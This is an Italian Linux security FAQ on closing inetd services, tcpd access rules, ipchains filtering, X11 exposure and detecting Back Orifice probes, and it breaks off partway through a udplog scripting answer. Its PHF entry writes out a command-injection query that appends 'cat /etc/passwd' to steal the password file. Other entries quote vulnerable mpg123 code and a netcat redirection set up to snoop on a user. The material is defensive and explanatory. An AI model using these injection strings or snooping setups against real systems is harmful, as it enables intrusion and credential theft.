INDICE: [B01-X] Nella mia macchina Linux ho attivo il servizio di finger. E' vero che ci sono rischi? [B02-X] Con X-Window attivo netstat rileva qualcosa sulla porta 6000. [B03-X] Ho sentito parlare di PHF, ma cos'e'? Una backdoor? [B04-X] Corro rischi ad ascoltare musica in formato MP3 sul mio sistema Linux? [B05-X] Certi ftp server sono affetti da un problema di buffer overflow. Come posso verificarlo sul mio sistema? [B06-X] L'emulazione DOS disponibile sotto Linux e' sicura? [C01-X] Come posso rendere Linux piu' sicuro da intrusioni? [C02-X] Come faccio a sapere che servizi ho attivi? [C03-X] Non posso disabilitare tutti i servizi di sistema. C'e' modo di difendersi comunque? [C04-X] E' necessario che sendmail venga lanciato al boot della macchina? [C05-X] Come posso sapere se e chi mi sta attaccando? [C06-X] Pericolosita' dei commenti in host.equiv [C07-X] Voglio stampare in locale, togliendo la disponibilita' del server di stampa al "resto del mondo". [C08-X] Come posso sapere chi sta usando i miei servizi? [C09-X] Non mi va / non posso disabilitare tutti i servizi della mia Linux box. [C10-X] Se non voglio/posso fare a meno di usare X, posso almeno renderlo sicuro? [C11-X] Quali servizi possono essere chiusi sulla mia Linux Box? [C12-X] Che meccanismo usa inetd per lanciare i processi "di rete"? [C13-X] Come posso proteggere la mia Linux box senza pasticciare troppo con pacchetti, protocolli e troiai vari? [C14-X] Si puo' intercettare tutto cio` che transita attraverso la porta seriale? [C15-X] Come posso monitorare una redirezione in corso? [C16-X] Come posso limitare il login come root solo alla console (e impedirlo da remoto)? [C17-X] Che permessi e' opportuno impostare per i file usati per il collegamento? [C18-X] Dove trovo/come loggo gli eventuali vari tentativi di accesso (soprattutto quelli riusciti)? [C19-X] Perche' non vedo loggate le connessioni entranti sull'Xterm? [C20-X] Non riesco a lanciare la connessione ppp senza essere root! [C21-X] Deframmentare i pacchetti? Cui prodest? [C22-X] Come discrimino l'accesso ai servizi della mia macchina? [C23-X] Come chiudo i servizi non gestiti da inetd? [C24-X] Come faccio a far lasciare aperta da ipchains la porta dell'ftp passivo (20)? [C25-X] Come proteggere la porta 6000 di x-window? Puo' bastare" xhost -" ? [C26-X] Come faccio a fare il dump di una comunicazione tra due socket? [D01-X] E' possibile capire le intenzioni di chi pinga con BoClient? [D02-X] Non riesco a far lanciare programmi al BoClone! [D03-X] E archiviare i tentativi di accesso con BO a fini statistici? [D04-X] Punire i recidivi. [D05-X] Passive Exploit Server. [B01-X] Nella mia macchina Linux ho attivo il servizio di finger. E' vero che ci sono rischi? [KEYWORDS:servizio:finger] Forse. In realta' era un bug di vecchie versioni, che potevano essere "indotte" a concedere una shell verso un client remoto se questo gli inviava una particolare stringa, contenente quelli che finivano per essere interpretati come comandi. Se il demone girava con diritti di root, l'operatore all'altro capo della connessione aveva a disposizione una shell con i diritti di root... In maniera piu' pedestre, il server poteva essere fatto crashare mandando una stringa molto lunga. In ogni caso, le versioni attuali non dovrebbero piu' essere affette da questo problema. Il consiglio, pero', e' quello di disabilitare i servizi che non sono necessari, come puo' essere il finger in una Linux box per uso "domestico". [B02-X] Con X-Window attivo netstat rileva qualcosa sulla porta 6000. [KEYWORDS:porta:6000:x-window] Facciamo un esperimento: da console (non come terminale di X-Window, ma proprio in "modo testo") diamo il comando netstat -a | grep LISTEN\\b | cut -f2 -d':' un possibile risultato e': auth * printer * Sulla stessa macchina, dando lo stesso comando da KDE, si ottiene: auth * printer * 6000 * L'entita' misteriosa in ascolto sulla porta 6000 e' proprio il server X-Window, che di default e` gia` chiuso agli estranei (vedere la pagina di manuale relativa, comando "man xhost"). Si ricorda che a differenza di Windows, il sistema grafico X-Window funziona secondo il paradigma client-server, anche se abbiamo un semplice PC stand- alone. [B03-X] Ho sentito parlare di PHF, ma cos'e'? Una backdoor? [KEYWORDS:phf:apache] No, e' un CGI installato con Apache. A causa di un bug, se gli si domandava con garbo, per esempio http://www.victim.com/cgi-bin/phf?... ti restituiva il contenuto di QUASI qualsiasi file del sistema, compreso il file delle passwords di Unix. Il "bug" consisteva nel FIDARSI che la richiesta inviata al PHF fosse buona e lecita, e nel non elaborarla con la dovuta cautela. Diciamo che io prendo un parametro dall'esterno QUERY=...(parametro)... e poi costruisco una query formattata come echo "
" $QUERY "
" ...se qualche furbacchione mi manda come query QUERYLEGITTIMA; cat /etc/passwd; echo il comando diventa, all'interno del CGI, echo "
" QUERYLEGITTIMA; cat /etc/passwd; echo "
" ...che significa: "Invia la query normalmente. Invia anche tutte le passwords di sistema. Grazie" ;-) Attualmente, il PHF standard controlla se la richiesta e' lecita... e se lo e' risponde normalmente, altrimenti fa qualcos'altro (non saprei cosa; come minimo logga l'accaduto). Esistono stringhe di test che si possono usare con i vari CGI per vedere se sono "sicuri" da questo punto di vista. *** (C) Leonardo [B04-X] Corro rischi ad ascoltare musica in formato MP3 sul mio sistema Linux? [KEYWORDS:mp3:exploit] I files .MP3 possono contenere, con _alcuni_ lettori MP3, un exploit per sistemi Linux su piattaforma x86. E' stato presentato un mini virus realizzato con script bash, che si propaga via MP3, a patto di eseguire il lettore del file con diritti di "root". L'attacco avviene con un giro un po' complicato. Si basa su un exploit di Erikson, un programma in C che crea un file MP3 bacato. Il baco fuziona solo su Linux, solo su Intel x86. Secondo la descrizione del programma, contenuta nel suo header, esso crea un file MP3 che esegue un programma se suonato con il programma mpg123 versione 0.59k (mentre la versione 0.59o sembra non affetta da questo problema). Il suo autore dice che sarebbe anche possibile inserire del codice che crei un nuovo account e far saltare l'esecuzione all'inizio di quel codice. Qualcuno e' riuscito ad eseguire una system(), che esegue uno script ESTERNO, che di per se' sarebbe privo di diritti. Lo script contiene dei commenti su come sarebbe possibile, a questo punto, compromettere la sicurezza del sistema e propagare script ed MP3 impestato. Naturalmente, un sistema dove root esegue file MP3 ha gia' problemi di sicurezza, quindi in un caso del genere sarebbe da rivedere la politica con cui viene gestito... Per inciso, lo script di cui sopra non prevede l'infezione di altri files MP3, ma forse cio' non sarebbe affatto difficile, vista la natura dell'exploit. L'exploit si basa sul seguente bug contenuto nel file "common.c": if(newhead == ('R'<<24)+('I'<<16)+('F'<<8)+'F') { char buf[40]; fprintf(stderr,"Skipped RIFF header\n"); fread(buf,1,68,filept); goto read_again; } In sostanza, il vettore buf e' lungo 40 bytes, ma la fread() legge 68 bytes. La soluzione? Il buffer dovrebbe essere lungo 68, non 40. I programmatori di mpg123 se ne sono gia' accorti, e l'ultima versione e' quindi pulita. [Adattato da un messaggio di L. Serni] [B05-X] Certi ftp server sono affetti da un problema di buffer overflow. Come posso verificarlo sul mio sistema? [KEYWORDS:ftp:server:buffer:overflow] Provare a fare telnet alla porta ftp e a loggarsi. Il test consiste nel creare una directory molto lunga. Se il demone muore il server ftp e' vulnerabile. In un sistema ben amministrato, gli accessi anonimi non dovrebbero poter creare directory, per questo e altri motivi. [B06-X] L'emulazione DOS disponibile sotto Linux e' sicura? Parliamo del pacchetto DOSEMU. In linea di massima si', a meno di errori di configurazione del pacchetto stesso. Per esempio, un possibile pericolo e' costituito dal comando system.com che fa parte di DOSEMU, che puo' portare a exploit locali. Tale comando esegue la chiamata di sistema system(), con cui e' possibile guadagnare privilegi di root e portare ad ulteriori compromissioni del sistema. Per ulteriori informazioni e un esempio di exploit si veda l'articolo (Message-ID: 200003020436.PAA20168@jawa.chilli.net.au) apparso sulla lista Bugtraq il 2 marzo 2000 relativo a Corel-Linux. ATTENZIONE: Non si tratta di una vulnerabilita' del pacchetto DOSEMU, ma di una configurazione non sicura segnalata dalla documentazione di DOSEMU stesso. _____________________________________________________________ [C01-X] Come posso rendere Linux piu' sicuro da intrusioni? [KEYWORDS:servizio] Regola generale e' di disabilitare tutti i servizi che non verranno forniti ad altre macchine (vale anche per macchine effettivamente usate come server). Esempi di tali servizi sono: httpd (server web), telnet, ftp, pop3 e sendmail; ci sono inoltre time stream, time dgram, shell, login, ntalk, systat, netstat, auth. Ancora, togliere portmapper, nfsd e mountd. In particolare, se la macchina Linux di cui si parla e' una stazione di lavoro domestica o comunque non integrata in una rete (LAN oppure Intranet/Internet), vanno tranquillamente disabilitati anche quelli. Ricordate che piu' servizi sono attivi piu' grande e' il numero di porte aperte, e maggiori sono quindi le possibilita' di attacco. [C02-X] Come faccio a sapere che servizi ho attivi? [KEYWORDS:servizio:inetd] Si dia il comando: grep -v "^#" /etc/inetd.conf per vedere quali servizi ti serve di OFFRIRE. Di solito, nessuno. Forse non sarebbe malvagio dare via un identd, ed a quel punto l'UNICA riga non #-ata di /etc/inetd.conf sarebbe ident stream tcp wait nobody /usr/sbin/in.identd in.identd -w -t120 dove l'utente nobody dovrebbe avere diritti molto ristretti, per usare un eufemismo. Poi si dia: killall -HUP inetd per resettare inetd, e per sapere che servizi il proprio computer espone all'esterno: netstat -a | grep LISTEN\\b | cut -f2 -d':' Bisogna anche tenere conto che smbd, netbios ed altri servizi non partono sempre da inetd ma da un file in /etc/rc.d/... Se invece in inetd.conf e' presente anche la seguente riga non commentata: auth stream tcp wait root /usr/sbin/in.identd in.identd -w -t120 -l se la macchina e' destinata all'uso personale e non devono essere offerti servizi all'esterno, e' meglio togliere il flag -l. Questo perche' identd serve al remoto solo finche' il sistema locale non e' stato compromesso; ma in caso di macchina per uso personale, la distinzione e' inutile; secondo perche' si potrebbe floodare il sistema con una serie di richieste alla porta 113 facendo si' che il file di log o la consolle diventino incomprensibili. Spesso l'opzione serve ai root di un sistema multiutente per beccare i fake-mailer alle prime armi o i cretinotti su IRC che si fan regalare la K. Inoltre: shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L login stream tcp nowait root /usr/sbin/tcpd in.rlogind ntalk dgram udp wait root /usr/sbin/tcpd in.talkd comsat dgram udp wait root /usr/sbin/tcpd in.comsat Togliere, altrimenti si permette a qualcuno di fuori di avere una shell o un login remoto sulla propria macchina. systat stream tcp nowait nobody /usr/sbin/tcpd /bin/ps -auwwx netstat stream tcp nowait root /usr/sbin/tcpd /bin/netstat Idem... time stream tcp nowait root internal time dgram udp wait root internal Di questo si puo' fare a meno ntalk dgram udp wait root /usr/sbin/tcpd in.talkd Solo se si pensa di usarlo per chattare con altri (con ip dinamici un incubo) systat stream tcp nowait nobody /usr/sbin/tcpd /bin/ps -auwwx netstat stream tcp nowait root /usr/sbin/tcpd /bin/netstat -a Con questi due si fa sapere a tutti cosa gira sulla propria macchina e quali porte aperte ci siano, meglio che con un portscan. Altri processi/porte: 6000 Questo non parte da inetd.conf, ma e' X-Window. Usare xhost - e magari bloccare la porta mediante un packet filter (ipchains o iptables). syslogd klogd Se si vuol continuare ad avere i log, bisogna lasciarli. [C03-X] Non posso disabilitare tutti i servizi di sistema. C'e' modo di difendersi comunque? [KEYWORDS:servizio:inetd:hosts:allow:deny] Basta sfruttare la gestione dei permessi di Linux. Se lasci qualcosa di attivo in inetd.conf, metti in /etc/hosts.deny: ALL: ALL e in etc/hosts.allow: ALL: 127.0.0.1 [Ovviamente se non intendi fornire servizi ad altre macchine]. Il significato (espresso in modo un po' pedestre) di tali istruzioni e' il seguente: a tutte le macchine e' vietato tutto (ALL: ALL in hosts.deny), alla macchina locale e' pero' permesso tutto (ALL: 127.0.0.1 in hosts.allow). In tal modo il sistema caccera' a pedate qualunque intruso che tentasse di connettersi. *** Attenzione*** Questi file vengono letti da tcp, quindi la riga in inetd.conf DEVE essere del tipo [ecc. ecc] /usr/bin/tcpd [path][demone][parametri] [C04-X] E' necessario che sendmail venga lanciato al boot della macchina? [KEYWORDS:sendmail:servizio] Anzitutto ci sono demoni di posta piu' leggeri, come qmail. Se pero' si usa sendmail allora non conviene farlo partire al boot, se sei l'unico utente della macchina non ce n'e' bisogno ed e' un po' piu' difficile controllarlo. Lo si faccia invece partire da inetd mettendo in inetd.conf: smtp stream tcp nowait mail /usr/sbin/tcpd /usr/sbin/sendmail -bs [C05-X] Come posso sapere se e chi mi sta attaccando? [KEYWORDS:tcpd:iplogger:log:attacco] Tcpd permette di monitorare la connessione TCP. Si puo' affiancare a tcpd i pacchetti iplogger (per controllare anche il traffico ICMP e quello TCP non loggato da tcpd) e udplog di Leonardo Serni, reperibili a: http://www.linuxvalley.com/~lserni. Se poi al momento della connessione si lancia il comando: xterm -e tail -f logfile dove logfile e` il file di log usato dai programmi sopra citati, es. /var/log/secure per tcpd (nella RH), /var/log/messages (nella Slack), in caso vedi in syslog.conf dove vanno i messaggi con facility authpriv, /var/log/messages per udplog ecc., si puo' disporre di un vero e proprio monitor in tempo reale dei tentativi di attacco. Nei primi due file citati ci sono sia i log del kernel (generati da klogd) che i log per la rete (syslogd). [C06-X] Pericolosita' dei commenti in host.equiv [KEYWORDS:exploit:hosts:equiv:commento:root] Dal suddetto file e' necessario togliere tutte le righe commentate, cioe' quelle che iniziano con il carattere "#". Esiste infatti un modo di exploitare una macchina con un file host.equiv contenente dei commenti. Infatti, pare che una riga del tipo # # Questa riga # affermi che lo host "#" puo' loggarsi senza password. Se cosi' e', e se qualcuno riesce ad assumere abbastanza controllo DNS da rifarsi un nome come "#", ha tutti i numeri per giocare un brutto tiro alla macchina con tale buco. [C07-X] Voglio stampare in locale, togliendo la disponibilita' del server di stampa al "resto del mondo". [KEYWORDS:servizio:lpd:stampa:hosts:deny] Si puo' fare lanciando lpd in /etc/inetd.conf, sotto tcpd, come qui indicato: printer stream tcp nowait root /usr/sbin/tcpd /usr/bin/lpd -i A questo punto inserisci nel file /etc/hosts.deny la linea ALL:ALL:spawn safe_finger -l @%h 2>& 1| mail -s "%d-%h %u" root (se hai safe_finger, se no "ALL:ALL") e inserisci in /etc/hosts.allow la linea ALL:127.0.0.1 in.identd:ALL [C08-X] Come posso sapere chi sta usando i miei servizi? [KEYWORDS:servizio:auth:finger] Il demone che serve si chiama auth. Esso in pratica fa un finger a chi cerca di fare qualcosa, e comunica al sistemista (cioe' a te) il risultato via mail. Naturalmente l'host che riceve il finger deve avere questo servizio attivo, altrimenti non dara' la risposta che si cerca. Ecco come si puo' lanciare auth: ident stream tcp wait nobody /usr/sbin/in.identd in.identd -w -t120 -o -e questo fa si' che non venga usato syslog e che inetd non debba fare troppa fatica per gestire le connessioni, dal momento che si limita ad avviare identd. Questo impedisce di fare flooding troppo facilmente, e in casi estremi e' possibile identificare chi fa flood con uno script e tagliarlo fuori con route o ipchains/iptables. [C09-X] Non mi va / non posso disabilitare tutti i servizi della mia Linux box. [KEYWORDS:servizio:firewall:ipchains:iptables] Soluzione alternativa: ricompilare il kernel con il supporto per il firewall, lasciare tutti i servizi che occorrono ma bloccarli con ipxchains/iptables. [C10-X] Se non voglio/posso fare a meno di usare X, posso almeno renderlo sicuro? [KEYWORDS:servizio:porta:6000:x-window:ipchains:iptables] Se si e' su una rete, bisogna controllare che il server X sia ben protetto. Da un'altra macchina della rete si dia un comando di questo tipo: xterm -display tuo_IP:0 Se la macchina da controllare non fa parte di una rete, si puo' usare un bounce o chi per lui, che permetta di connettersi alla porta 6000 di localhost. In ogni caso, se la connessione alla porta 6000 riesce ed appare l'xterm sullo schermo, il server X e' aperto al mondo come il back orifice di un BOservizzato. Il comando da dare e' xhost - mentre un rimedio duraturo consiste nel filtrare con ipchains/iptables ogni connessione alla porta 6000 da proteggere, che non provenga dalla interfaccia lo (ifconfig). [C11-X] Quali servizi possono essere chiusi sulla mia Linux Box? [KEYWORDS:servizio:inetd:identd:sendmail:posta] In un computer per uso domestico di solito non c'e' bisogno di alcun servizio di rete attivo, a meno che esso non sia il server di una minirete (per esempio, con il vecchio 486 ancora usato come client e/o per esperimenti sulle reti). Spesso, puo' essere utile lasciare il demone identd, cosicche' nel file /etc/inetd.conf l'unica riga non commentata sara': ident stream tcp wait nobody /usr/sbin/in.identd in.identd -w -t120 dove l'utente nobody dovrebbe avere diritti molto ristretti, anzi quasi nulli. Se la nostra Linux Box e' anche server di posta, dovra' essere lasciato attivo anche il relativo demone. Nel caso di sendmail, la riga di inetd.conf sara' del tipo: smtp stream tcp nowait mail /usr/sbin/tcpd \ /usr/sbin/sendmail -bs In apparenza, sendmail dovrebbe girare come root, altrimenti avrebbe problemi, per esempio, a scrivere direttamente nelle directory degli utenti oppure a lanciare procmail in maniera che scriva direttamente nei folder di posta con umask 300. In realta' si puo' dare accesso ai maildrop al gruppo smtp, che non ha diritti su nient'altro; i maildrops ovviamente avranno diritti 660, e saranno di tipo username.smtp. [C12-X] Che meccanismo usa inetd per lanciare i processi "di rete"? [KEYWORDS:servizio:inetd:porta] Inetd esegue un binding sulla porta richiesta dal servizio, ma non attiva il processo. Quando lo fa, gli passa il socket ma il processo gira con l'effective userid specificato, e non puo' neanche aprire un nuovo socket nel range dei servizi "Well Known" (<1024). [C13-X] Come posso proteggere la mia Linux box senza pasticciare troppo con pacchetti, protocolli e troiai vari? [KEYWORDS:servizio:identd:hosts:deny] Inserisci nel file /etc/hosts.deny la seguente regola: ALL EXCEPT identd: ALL EXCEPT localhost 10.0.0.0/255.0.0.0 [E dopo un'eternita' finalmente ho inserito nelle FAQ il giusto consiglio di MdI] [C14-X] Si puo' intercettare tutto cio` che transita attraverso la porta seriale? [KEYWORDS:porta:seriale:ttysnoop] Nei sistemi Unix i dispositivi sono visti come file, contenuti nella directory /dev/. E' possibile creare un device /dev/a che si incarichi di rimappare tutto (tenendo traccia di cio` che interessa) verso il dispositivo dev/xxxx da controllare. Bastera` a questo punto che le applicazioni usino /dev/a invece di /dev/xxxx. Questo compito e' svolto da ttysnoops, disponibile su Sunsite alla URL /utils/terminal/ttysnoop-*.taz [C15-X] Come posso monitorare una redirezione in corso? [KEYWORDS:redirezione:inetd:netcat] Il lamer chiede: "Ridirigimi la tua QUERYPORT su TARGETHOST:TARGETPORT" e un micro-diavolo aggiunge temporaneamente $QUERYPORT stream tcp nowait nobody /usr/bin/netcat /usr/bin/netcat -o /tmp/netcat-$LAMERIP.log $TARGETHOST $TARGETPORT a /etc/inetd.conf, quindi invia un SIGHUP a `pidof inetd` Tu fai tail -f /tmp/netcat-$LAMERIP.log e ti leggi quello che scrive il pollo, con tanto di suo *vero* IP 8-D ...in Windows, tutto cio' non so neanche se si possa fare. Leonardo che forse si'. Dieci mega fra eseguibile e bestemmie *** (C) Leonardo Serni *** [C16-X] Come posso limitare il login come root solo alla console (e impedirlo da remoto)? [KEYWORDS:login:securetty:console:terminale:root] Esiste il file securetty che elenca i terminali da cui permettere l'accesso a root. Se non esiste, e' VIVAMENTE consigliabile crearlo, per esempio con questo contenuto: tty1 tty2 tty3 tty4 tty5 tty6 se vuoi connetterti come root solo dalle console virtuali (parliamo di linux) 1-6, altrimenti aggiungere i terminali richiesti... nel file stesso, se gia' presente, non devono inoltre comparire righe che si riferiscono ad accessi via linee seriali, modem, e anche rete (tutti quelli che dopo la stringa tty hanno lettere maiuscole o minuscole prima o dopo il numero). [C17-X] Che permessi e' opportuno impostare per i file usati per il collegamento? [KEYWORDS:pppd:connessione:file] /sbin/pppd -rwsr-s--- 1 root pppusers 109572 Aug 10 1998 /usr/sbin/pppd /sbin/chat -rwxr-xr-x 1 root root 15924 Aug 10 1998 /usr/sbin/chat /etc/ppp/options -rw------- 1 root root 94 Apr 2 13:04 options.flashnet /etc/ppp/pap-secrets -rw------- 1 root root 108 Apr 20 13:04 pap-secrets. /dev/modem lrwxrwxrwx 1 uucp root 10 Feb 7 11:44 /dev/modem -> /dev/ttyS2 crw------- 1 uucp root 4, 66 Apr 21 14:51 /dev/ttyS2 [C18-X] Dove trovo/come loggo gli eventuali vari tentativi di accesso (soprattutto quelli riusciti)? [KEYWORDS:log:accesso] Di solito /var/log/messages e se lo usi /var/log/iplogd.log [C19-X] Perche' non vedo loggate le connessioni entranti sull'Xterm? [KEYWORDS:log:connessioni:xterm:syslog] Un buon metodo per vederle e' spararle su una consolle tipo tty7+. In ogni caso, dipende da quale stato del syslog usino. Provare al limite con qualche bel grep sui log. Ad ogni modo puo' anche darsi che le rule di log di tali binari vadano specificate meglio. [C20-X] Non riesco a lanciare la connessione ppp senza essere root! [KEYWORDS:connessione:pppd:suid:root:permessi] Questo e' il messaggio, o comunque simile? /usr/sbin/pppd: must be root to run /usr/sbin/pppd, since it is not setuid-root Si potrebbe lanciare lo script come root e poi navigando come utente normale, ma se si vuole abilitare degli utenti ordinari a lanciare una connessione di questo tipo, la soluzione esatta la da' Linux stesso nel messaggio di errore, che dice che pppd deve essere suid root (login: root e chmod u+s /usr/sbin/pppd); a quel punto, se anche lo lancia un utente normale, pppd ha diritti root. TENERSI INFORMATI SU BUG E RELATIVE PATCH/AGGIORNAMENTI DISPONIBILI, come sempre. [C21-X] Deframmentare i pacchetti? Cui prodest? [KEYWORDS:frammentazione:pacchetto:inetd:firewall] Similmente alle pseudo utility di monitoraggio sotto Windows (come NukeNabber e simili), anche tcpd lavora in userspace, quindi, nel caso di baco allo stack, tipo teardrop per capirci, prima che tcpd faccia qualcosa il pacchetto bastardo e' gia' passato nel kernel, nelle routine di ricomposizione, e per inetd, ed ha gia' distrutto tutto prima che tcpd scriva un log, anzi prima che venga forkato. In questo tcpd e NN sono simili, anche se il primo ha dalla sua sicuramente il concetto di ACL. Il punto e' che non e` compito di tcpd evitare di questi problemi, se si crede di essere vulnerabili a queste cose bisogna usare il firewall incorporato nel kernel. Se qualcuno pensasse di proteggere le porte dai nuke esterni mediante ipchains/iptables e ipchains occhio all'eventuale ALWAYS_DEFRAGMENT, usato a ragione per NAT e similari nel kernel ma che ci esporrebbe a problemi teardrop simili PRIMA che il packet filter ci salvi. Allora conviene compilare il kernel senza CONFIG_IP_ALWAYS_DEFRAG settato? "Depende". ALWAYS_DEFRAG e' molto ma molto utile se: a) si vuole un firewall che faccia solo quello, oppure per un NAT (masquerading) in cui e' anche necessario oltre che utile b) si preferisce avere un controllo basato su filtro di pacchetti che non abbia problemi nel gestire tentativi di bypass. Il concetto e': non pensate di ripararvi, se venisse scoperto un altro baco sulla frammentazione, mediante ipchains o cmq un filtro di pacchetti SE questa opzione e' abilitata, in quanto il frammento verra' passato alla routine di riassemblamento PRIMA che il filtro decida di scartare il pacchetto. Invece, nel caso in cui l'opzione sia disabilitata, il filtro scarta a seconda delle rules PRIMA di aver assemblato i frammenti. Ovvio che se esiste la possibilita' di ricevere pacchetti da altre sorgenti, non fidate (v. FTP anonimo), allora questo discorso decade in quanto bastera' inviare il nuke alla porta FTP. [C22-X] Come discrimino l'accesso ai servizi della mia macchina? [KEYWORDS:servizio:accesso:fuser:inetd:tcpd:hosts:deny:allow] Io comincerei con il vedere se questi servizi sono sotto tcpd o meno. Prendiamo per esempio il servizio "printer": fuser -n tcp printer ti risponde, poniamo, printer/tcp: 26 quindi e' aperta dal processo 26, e scopri chi e' con ps px | grep "\b26\b" che ti dice 26 ? ? ?:?? /usr/sbin/lpd o forse 26 ? ? ?:?? /usr/sbin/inetd Nel primo caso il servizio e' aperto da un daemon, lpd per la precisione, e quindi fai man lpd per scoprire qual e' il suo file di configurazione, e ci guardi dentro in modo da capire come dirgli "Accetta connessioni SOLO da 127.0.0.1". Nel secondo caso e' aperto dal super-daemon inetd, e il file e' /etc/inetd.conf dove cerchi la riga del servizio printer: grep "^printer\b\|^$(grep printer /etc/services \ | tr -s ' \t' '/' | cut -f2 -d/)\b" /etc/inetd.conf Questa riga si presenta in una di queste forme: printer stream tcp nowait root /usr/sbin/lpd lpd printer stream tcp nowait root /usr/sbin/tcpd lpd printer stream tcp nowait.N root /usr/sbin/lpd lpd printer stream tcp nowait.N root /usr/sbin/tcpd lpd Le forme senza ".numero" consentono di attivare fino a, mi pare, 40 processi contemporaneamente nel giro di uno o dieci secondi, boh. Altrimenti il limite e' "N". Entrambe le forme si prestano a DoS di tipo diverso. La forma senza tcpd e' piu' vulnerabile, perche' deve fidarsi della configurazione di programma. tcpd invece ti consente di specificare in due files cosa fare di quel programma. Nel file /etc/hosts.deny ci va una sola riga senza neanche commenti (non si sa mai ;-) ) che dica ALL : ALL e nel file /etc/hosts.allow: ALL : localhost programma: chi programma: chi ... Per esempio: ALL : localhost httpd: ALL significa che solo tu (localhost) puo' accedere a tutto, ma a httpd (Apache Web server, ad es.) ci possono accedere tutti. Nota bene: "programma", non "servizio". Quindi per lpd non scrivi printer: ALL se vuoi dare al mondo intero accesso alla stampante, ma lpd: ALL *** (C) Leonardo Serni *** [C23-X] Come chiudo i servizi non gestiti da inetd? [KEYWORDS:servizio:inetd:rc:script:boot] I servizi che non sono nominati in inetd.conf non vengono gestiti da inetd, ma vengono lanciati dagli script di inizializzazione della macchina in fase di boot. Bisogna smanettare con quelli: cercare in /etc/rc.d o una cosa simile (i vari rc.0, rc.M, rc.S ecc...), trovare quei servizi che non vuoi offrire, e fare in modo che non vengano eseguiti. [C24-X] Come faccio a far lasciare aperta da ipchains la porta dell'ftp passivo (20)? ipchains -A input -p tcp -y --source-port 20 -d 0/0 1024:65535 -j ACCEPT dovrebbe accettare le richieste di connection ad una mia porta `alta' e provenienti dalla porta 20 di qualunque host. [C25-X] Come proteggere la porta 6000 di x-window? Puo' bastare" xhost -" ? Non solo, no ... potresti essere ancora vittima di DoS o di bypass della protezione che il solo xhost fornisce. Questo infatti gestisce una tabella di host che possono o meno collegarsi al tuo X-server. E, come e' ben risaputo, ogni autenticazione basata sul solo IP e' fallace. Altri sistemi come Xauthority possono essere utilizzati. Ma prima ancora di preoccuparsi eccessivamente di ogni nuovo setup e configurazione di liste di accesso, potresti, se sei un utente singolo via ppp, darci un rapido taglio con: ipchains -A input -s 0/0 -d 0/0 6000 -p 6 -i ppp0 -j DENY -l in modo da avere tempo per affinare ulteriori difese ed autenticazioni a livello utente e protocollo. *** (C) invy *** [C26-X] Come faccio a fare il dump di una comunicazione tra due socket? Nel caso pratico tra uno specifico client connesso ad un web: tcpdump -x -i $INTERFACE port 80 > $LOGFILE e poi uno script che analizza $LOGFILE. Eventualmente con un programmino stupido in C. *** (C) Leonardo Serni *** _____________________________________________________________- [D01-X] E' possibile capire le intenzioni di chi pinga con BoClient? [KEYWORDS:backorifice:client:udplog] I comandi in arrivo da un Bo client si possono in effetti riconoscere, cosa che fa il programma udplog v. 1.7 disponibile per Linux. Esso distingue fra ping BO "classici" e "buoni samaritani". Risponde come un PC boservizzato e sta a vedere se invii un codice 0x09 (gruppo zero), 0x31/0x3F/0x26/0x2A/etc (gruppo uno) oppure 0x02,0x03,0x04 (gruppo due). Il gruppo zero sono i codici da buoni samaritani (appare la dialog box), il gruppo uno sono codici da curiosi e FORSE buoni samaritani. Il primo codice "gruppo due" che passa ti identifica per figlio di puttana e autorizza pure l'intervento della magistratura 8-D, cosa che il ping non fa. *** (C) Leonardo Serni *** [D02-X] Non riesco a far lanciare programmi al BoClone! [KEYWORDS:backorifice:udplog:boclone:queso] In udplog.conf, nella sezione [Misc] dev'essere inserita una riga del tipo: boclone=/usr/local/sbin/my-queSO Poi bisogna creare e rendere eseguibile lo script my-queSO: -------------------- #! /bin/sh queSO $1 | mail root -------------------- In questo modo l'output di my-que-SO arriva per e-mail. Ovviamente e' possibile ridirigere l'output su file, ecc. Se neanche cosi' funziona c'e' un intoppo, come per esempio se le prove avvengono in loopback. Infatti in udplog.conf l'indirizzo 127.0.0.1, di default, e' risolto come localhost, quindi allo script viene passato "localhost", ma se in /etc/hosts c'e' localhost.localdomain per fare andare sendmail, queSO non trova l'host. Un difetto e' che cosi' ad ogni comando inviato dal pingatore verrebbe lanciato lo script (cmq, $2 e' l'IP risolto, mentre $1 e' quello non risolto): non ha senso rifare ogni volta un queSO o uno stealth scan, per cui un'alternativa e' la seguente. ##### (C) LEONARDO Serni ##### # Crea una log entry ordinabile per data ed IP LOGENTRY="$( date +%Y-%m-%d-%H-%M ):$1" LOGFILE=/var/log/boscript.log LOGTEMP=/tmp/tmp-boscript.$RANDOM.$$ if [ ! -r $LOGFILE ]; then touch $LOGFILE fi if ( grep "$LOGENTRY" $LOGFILE >/dev/null ); then # L'amico e' conosciuto, si esce exit 0; fi # Qui andrebbe altra roba per essere sicuri di non # essersi ciucciati un UDP spoofato a bestia... sai # che ganzo se uno manda un UDP da "127.0.0.1" ? grep -v "$LOGENTRY" $LOGFILE > $LOGTEMP OS=$( queso "$1:139" ) SHARES=$( nbtstat -W "$1" | grep "<" | tr -d "\t " | tr "\n" ":" ) echo "$LOGENTRY:$OS:$SHARES" >> $LOGTEMP cat $LOGTEMP > $LOGFILE #Eventualmente facciamo saltare la connessione per omnia saecula #saeculorum. Un file contiene gli indirizzi "sani" che NON devono #essere fatti saltare (ulteriore protezione antispoof). if ( ! grep "^$1=\|^$2=" /etc/udplog-dontkill.conf >/dev/null); then #ipchains/iptables ... fi rm -f $LOGTEMP Altra soluzione: Sezione [Misc] (versione 1.7d/1.7e): script=/usr/local/bin/che/mi/frega/script-file Sezione [Rules] ...una regola che invochi "script x", x=modificatore a caso, se indifferente usare 'piano' ("script piano"). chmod +x /usr/local/bin/che/mi/frega/script-file (altrimenti non viene eseguito), e script-file nella forma: ##### (C) Leonardo Serni ##### #!/bin/sh # Let's play a sound cat /usr/share/sounds/au/computer.au >/dev/audio # Let's leave trace into system logs logger "UDPScript[$5]: got UDP from $1 [$2], port $4, to local $3" # (Vedi nota (1) cat<<-MAIL | mail root Someone is trying to access the machine. Address: $1 [$2] OS: $( queso $2:137 ) nbtstat: $( nbtstat -W $2 ) host -a $2: $( host -a $1 ) $( host -a $2 ) traceroute $2 2>/dev/null $( traceroute $2 ) # DANGEROUS # It is possible to SPOOF an UDP packet and force your PC # to block ANY source subnet. # Use ipchains/iptables only if confirmed in some other way (TCP if # at all possible, with at least one GET from bo-http and # a non-portable one at that _AND_ no misgets, see README # for bo-http for details). # # /sbin/ipchains -I DENY -s $2/24 -o MAIL exit 0; Se il problema continua, verificare l'invocazione dei programmi nello script. Infatti, anche se essi si trovano nella path della shell, nello script non vengono 